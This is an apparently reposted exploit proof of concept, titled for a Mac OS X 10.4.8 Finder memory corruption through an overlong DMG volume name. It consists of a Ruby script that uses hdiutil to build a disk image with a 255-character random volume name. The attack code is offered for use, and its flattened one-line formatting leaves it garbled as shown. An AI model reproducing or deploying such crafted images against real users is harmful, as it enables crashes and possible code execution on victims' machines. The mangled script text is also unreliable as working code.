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Mac OS X 10.4.8 Apple Finder DMG Volume Name Memory Corruption PoC

Mac OS X 10.4.8 Apple Finder DMG Volume Name Memory Corruption PoC

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代码:
</p><pre>#!/usr/bin/ruby # (c) 2006 LMH <lmh [at] infopull.com>. # require 'fileutils' require 'zlib' hdiutil = "/usr/bin/hdiutil" dmgname = (ARGV[0] || "MOAB-09-01-2007.dmg") dmgsize = (ARGV[1] || "200k") filesys = (ARGV[2] || "UFS") volname = "" 255.times do volname << (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr end FileUtils.rm_f(dmgname) system "#{hdiutil} create #{dmgname} -size #{dmgsize} -fs #{filesys} -volname #{volname}" puts "++ reading #{dmgname}..." dmg_stream = File.read(dmgname) dmg_vnsize = dmg_stream[0x9c10,0x9c14].unpack("C2") puts "++ volname length at dmg: #{dmg_vnsize}" puts "++ dmg size: #{dmg_stream.size} bytes." </pre><p>

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